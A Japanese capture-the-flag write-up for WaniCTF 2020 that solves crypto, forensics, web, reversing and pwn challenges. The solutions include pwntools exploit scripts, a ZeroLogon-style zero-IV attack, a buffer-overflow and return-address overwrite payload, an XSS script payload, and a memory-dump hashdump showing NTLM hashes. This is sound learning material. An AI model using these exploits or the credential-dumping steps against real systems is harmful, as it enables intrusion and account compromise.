WaniCTF 2020 writeup

2020/11/21(土) 10:00 ~ 11/23(月・祝) 20:00 JSTに開催されたWaniCTF 2020に参加しました。

個人での参加(vegctrp)し、2361点で正の点数を取った187チーム中31位でした。
ジャンル別では、CryptoとMiscを完答できました。Forensicsを完答できなかったのはかなり悔しい。

運営および作問者の皆様、お疲れさまでした。また、素晴らしい大会を開催していただき、ありがとうございました。

Veni, vidi [crypto]

caesar暗号ですね。SYNT{fvzcyr_pynffvpny_pvcure}をrot13に通すとflagが得られます。

import codecs

fl = r"SYNT{fvzcyr_pynffvpny_pvcure}"
print(codecs.decode(fl,'rot13'))

FLAG{simple_classical_cipher}です。

exclusive [crypto]

key = "REDACTED"
flag = "FAKE{this_is_fake_flag}"

assert len(key) == len(flag) == 57
assert flag.startswith("FLAG{") and flag.endswith("}")
assert key[0:3] * 19 == key


def encrypt(s1, s2):
    assert len(s1) == len(s2)

    result = ""
    for c1, c2 in zip(s1, s2):
        result += chr(ord(c1) ^ ord(c2))
    return result


ciphertext = encrypt(flag, key)
print(ciphertext, end="")

encrypt()を見ると、keyとflagについて先頭から1バイトずつとってきてxorを取る操作をしています。
また、先頭のassert文から、key,flagは57文字で、さらにkeyは3文字の文字列の繰り返しであることがわかります。

flagの形式がFLAG{で始まることがわかっているので、output.txtの先頭3バイトとflagの先頭3バイトFLAからkeyの先頭3バイトがABCであることがわかります。

したがって、keyはABCを19回繰り返したものであることがわかったので、output.txtの文字列とkeyABCABC...ABCからflagを求めることができます。

with open("output.txt", "r") as inp:
    out = inp.readlines()[0].strip()
    #print(out)
    #print(len(out))

flag_b = "FLA"
key = ""
for c1,c2 in zip(out[:3], flag_b):
    key += chr(ord(c1) ^ ord(c2))
#print(key)
key = key*19

flag = ""
for c1,c2 in zip(out, key):
    flag += chr(ord(c1) ^ ord(c2))

print(flag)

FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}です。

Basic RSA [crypto]

RSAの計算をするだけ。pythonでncに繋ぐのが苦手すぎて雑なwhile文でごり押し。

from pwn import * # pip install pwntools
from Crypto.Util.number import getPrime, bytes_to_long, inverse, long_to_bytes

r = remote('rsa.wanictf.org', 50000, level = 'debug')

while True:
    txt = r.recvline()
    #print(txt)
    if txt[:3] == b"p =":
        p = int(txt[4:-1])
    if txt[:3] == b"q =":
        q = int(txt[4:-1])
        break

print(p,q)
r.sendline(str(p*q))

while True:
    txt = r.recvline()
    #print(txt)
    if txt[:3] == b"m =":
        m = int(txt[4:-1])
    if txt[:3] == b"e =":
        e = int(txt[4:-1])
    if txt[:3] == b"n =":
        n = int(txt[4:-1])
        break

r.sendline(str(pow(m,e,n)))
#txt = r.recvline()

while True:
    txt = r.recvline()
    #print(txt)
    if txt[:3] == b"p =":
        p = int(txt[4:-1])
    if txt[:3] == b"q =":
        q = int(txt[4:-1])
    if txt[:3] == b"e =":
        e = int(txt[4:-1])
    if txt[:3] == b"c =":
        c = int(txt[4:-1])
        break

n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
r.sendline(str(m))
txt = r.recvline()
print(txt)

FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}です。

LCG crack [crypto]

線形合同法(Linear congruential generators)は、連続して生成した何個かの値から内部パラメータを計算できるらしい。
LCGの各パラメータを求めるプログラムはココ からもってきました。

from pwn import * # pip install pwntools
from Crypto.Util.number import getPrime, bytes_to_long, inverse, long_to_bytes
from functools import reduce

r = remote('lcg.wanictf.org', 50001, level = 'debug')

def check_next():
    r.sendline("1")
    num = r.recvline()
    print("hoge", str(num[2:-1]))
    for _ in range(8):
        r.recvline()
    return int(num[2:-1])

for _ in range(18):
    print(r.recvline())

numlist = []
for _ in range(10):
    numlist.append(check_next())

print(numlist)

def crack_unknown_increment(numlist, modulus, multiplier):
    increment = (numlist[1] - numlist[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(numlist, modulus):
    multiplier = (numlist[2] - numlist[1]) * inverse(numlist[1] - numlist[0], modulus) % modulus
    return crack_unknown_increment(numlist, modulus, multiplier)

def crack_unknown_modulus():
    diffs = [s1 - s0 for s0, s1 in zip(numlist, numlist[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(GCD, zeroes))
    return crack_unknown_multiplier(numlist, modulus)

m,a,b = crack_unknown_modulus()

def next(x):
    return (a*x+b)%m

for i in range(len(numlist)-1):
    assert next(numlist[i]) == numlist[i+1]

r.sendline("2")
r.recvline()
for _ in range(10):
    numlist.append(next(numlist[-1]))
    r.sendline(str(numlist[-1]))

while True:
    r.recvline()

FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}です。

l0g0n [crypto]

ivを0にしてしまったCFB8に対するZeroLogon攻撃(CVE-2020-1472のやつ)ですね。kurenaifさんの動画で見たので、やるだけでした。1/256を引くまで0を投げ続けます。

from pwn import * # pip install pwntools
from Crypto.Util.number import getPrime, bytes_to_long, inverse, long_to_bytes

r = remote('l0g0n.wanictf.org', 50002, level = 'debug')

#st = b"\x00" * 8
st = "0000000000000000"

while True:
    r.sendline(st)
    r.sendline(st)
    r.recvline()
    x = r.recvline()
    if "FLAG" in str(x):
        break

FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}です。

chunk_eater [forensics]

hexed.itに投げてジッとバイナリを見ると、IHDR IDAT(複数) IENDWANIになっていたので手書きで修正。

FLAG{chunk_is_so_yummy!} です。

logged_flag [forensics]

ログを頑張って読んで、steghide extract -sf secret.jpg(passphrase: machikanetamachikanesai)をする。

FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us} です。

zero_size_png [forensics]

バイナリを読むと画像の横幅が0になっている。正しい横幅を探す必要があり、CRC32を計算して検査するのが想定解のようですが、総当たり(1~1000で探索)で1000枚の画像を出力して正しい画像になっているものを目grepしました。

from Crypto.Util.number import getPrime, bytes_to_long, inverse, long_to_bytes

with open("dyson.png", "rb") as inp:
    a = inp.read()
    #print(a[:16])

width = 100
height = 10000

def fix(pic, width, height):
    wn = width
    width = long_to_bytes(width)
    width = b"\x00"*(4-len(width))+width

    height = long_to_bytes(height)
    height = b"\x00"*(4-len(height))+height

    ax = pic[:16]+width+height+pic[24:]
    with open("./pic/w"+str(wn)+".png", "wb") as out:
        out.write(ax)

for i in range(1, 1000):
    width = i
    height = 800000//width
    fix(a, i, height)

widthが599の画像が正解でした。
FLAG{Cyclic_Redundancy_CAT}です。

ALLIGATOR_01 [forensics]

メモリダンプの解析です。はじめにvolatility -f ALLIGATOR.raw imageinfoをするとWin7SP1x86_23418を使えばいいことがわかる。

”evil.exe”が実行された日時を報告せよとのことなので、pstreeを使えばよい。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree | grep evil

> Volatility Foundation Volatility Framework 2.6
> . 0x84dd6b28:evil.exe                                3632   2964      1     21 2020-10-26 03:01:55 UTC+0000

FLAG{2020-10-26_03:01:55_UTC+0000} です。

ALLIGATOR_02 [forensics]

cmdscanconsolesをしてみました。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 cmdscan

Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: conhost.exe Pid: 336
CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x54
Cmd #12 @ 0x4f005c: ???L??????????L??????????L??????????L??????????L??
Cmd #16 @ 0x62005c: ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Cmd #22 @ 0x2e003d: ?
Cmd #23 @ 0x4f0043: ??????????L??????????L??????????L?????
Cmd #28 @ 0xc2bd8: 
                   ?
                    pec=C:\Windows\system32\cmd.exe
Cmd #29 @ 0xc1e68: 
                   ?

Cmd #32 @ 0x2e003b: ??
Cmd #36 @ 0xc2bd8: 
                   ?
                    pec=C:\Windows\system32\cmd.exe
Cmd #37 @ 0xc1e68: 
                   ?

Cmd #39 @ 0x2e003b: ??
Cmd #44 @ 0x2e003b: ??
Cmd #47 @ 0x4d002e: ??????????????????????????????????????????????????????????
**************************************************
CommandProcess: conhost.exe Pid: 3736
CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 @ 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
Cmd #1 @ 0x2d0031: ?~?
Cmd #3 @ 0x330038: ?????????????????????????????????????????????????????????????????????????????????????????????????????s????
Cmd #11 @ 0x330036: ??????????????????????????????????????????????????????????????????????????????????????????????????????s????
Cmd #22 @ 0xff818488: ?
Cmd #25 @ 0xff818488: ?
Cmd #36 @ 0x3200c4: 3?5?2???2
Cmd #37 @ 0x34cfe8: 5?3????
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 336
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
AttachedProcess: sshd.exe Pid: 856 Handle: 0x54
----
CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x54
----
CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
Screen 0xc6098 X:80 Y:300
Dump:

**************************************************
ConsoleProcess: conhost.exe Pid: 3736
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: Administrator: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c
----
CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
----
Screen 0x3363b8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt
FLAG{y0u_4re_c0n50les_master}
C:\Users\ALLIGATOR>

FLAG{y0u_4re_c0n50les_master}です。

ALLIGATOR_03[forensics]

以下のようにNTLMハッシュをとることはできたのですが、ophcrackで復元できず解けませんでした。残念。
作問者writeupによればhttps://crackstation.net/ なるものがあったらしい。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat
0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat
0x8780a6b8 0x282fb6b8 [no name]
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM
0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE
0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD
0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE
0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat
0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT
0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat
0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat


$ volatility -f ALLIGATOR.raw hashdump -y 0x8781a008 -s 0x93791458 --profile=Win7SP1x86_23418 > hashs.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

number [misc]

二分探索するだけ。

from pwn import * # pip install pwntools
r = remote('number.wanictf.org', 60000, level = 'debug')

r.recvline()
r.recvline()

a = 0
b = 500001

while True:
    num = a+(b-a)//2
    r.sendline(str(num))
    x = r.recvline()
    print(x)
    if x==b"input:too big\n":
        b = num
    else:
        a = num+1
        
    r.recvline()
    r.recvline()

FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t} です。

MQTT challenge [misc]

トピックにMQTTのワイルドカード#を指定すると全トピックを購読でき、勝ちです。

FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}です。

DevTools_1 [web]

ソース見るだけ。
FLAG{you_can_read_html_using_devtools}です。

DevTools_2 [web]

開発者ツールで値段の部分を5000兆円に書き換えるだけ。
FLAG{you_can_edit_html_using_devtools}です。

Simple Memo [web]

https://simple.wanictf.org/flag.txt を見るだけ。
FLAG{y0u_c4n_get_hi5_5ecret_fi1e}です。

striped table [web]

なんとなくXSSの雰囲気があるので、タイトルかメモにスクリプトを埋め込むんだろうなあという気持ちになる。タイトルとメモに<script>alert(19640503)</script>を指定して投稿。
(作問者writeupによればタイトルは適当でいいらしい)

FLAG{simple_cross_site_scripting}です。

strings [rev]

strings strings | grep FLAGするだけ。

FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}です。

simple [rev]

IDA pro freeに投げてそれっぽいところを無理やり読みました。

FLAG{5imp1e_Revers1ng_4rray_5trings}です。

complex [rev]

ptrさんの記事を参考にangrでごり押し。

import angr
import claripy
from logging import getLogger, WARN
getLogger("angr").setLevel(WARN + 1)
p = angr.Project("./complex", load_options={"auto_load_libs": False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
class MyTime(angr.SimProcedure):
    def run(self, arg1):
        return claripy.BVV(0xefbeadde, 32)
def pokemon(state):
    if b"Correct!" in state.posix.dumps(1):
        return True
    return False
def digimon(state):
    if b"Incorrect" in state.posix.dumps(1):
        return True
    return False
simgr.explore(find=pokemon, avoid=digimon)
p.hook_symbol("time", MyTime())
try:
    found = simgr.found[0]
    print(found.posix.dumps(0))
except IndexError:
    print("Not Found")

FLAG{did_you_really_check_the_return_value}です。

netcat [pwn]

ncでつないでcat flag.txtするだけ。

from pwn import * # pip install pwntools

r = remote('netcat.wanictf.org', 9001, level = 'debug')
r.sendline("ls")
r.sendline("cat flag.txt")

while True:
    r.recvline()

FLAG{netcat-1s-sw1ss-4rmy-kn1fe} です。

var rewrite [pwn]

char name[10]に0x100bytes書き込めることになっており、あふれた分はtargetに書き込まれるので、"aaaaaaaaaaWANI"を入れればtargetがWANIに書き換わり勝ちです。

from pwn import * # pip install pwntools

r = remote('var.wanictf.org', 9002, level = 'debug')
r.sendline("a"*10+"WANI")
r.sendline("ls")
r.sendline("cat flag.txt")

while True:
    r.recvline()

FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}です。

binsh address [pwn]

問題文のヒントの通りにstrings -tx ./chall | lessを見ると、

   2010 Please input "
   2020 /bin/sh

となっており、inputのアドレスに0x10足したアドレスを投げればよいことがわかります。

from pwn import * # pip install pwntools

r = remote('binsh.wanictf.org', 9003, level = 'debug')
x = r.recvline()
input_address = int(x[28:-2], 16)
print(input_address)
r.sendline(hex(input_address+16)[2:])
r.sendline("ls")
r.sendline("cat flag.txt")
#The address of "input  " is 0x556f36dc8010.
#Please input "/bin/sh" address as a hex number: 
while True:
    r.recvline()

FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}です。

ret rewrite [pwn]

win関数(0x400837)に飛べばよいが、0x400837で書き換えるようにするとアラインメント制約でsegmentation faultになる。対策として(参考にしたwiita記事)ret gadgetを使ってワンクッション挟むか、win関数の先頭のpush rbpを飛ばす(0x400838に飛ぶようにする)の二通りあるらしく、後者にしました。

(echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40\x00"; cat) | nc ret.wanictf.org 9005

FLAG{1earning-how-return-address-w0rks-on-st4ck}です。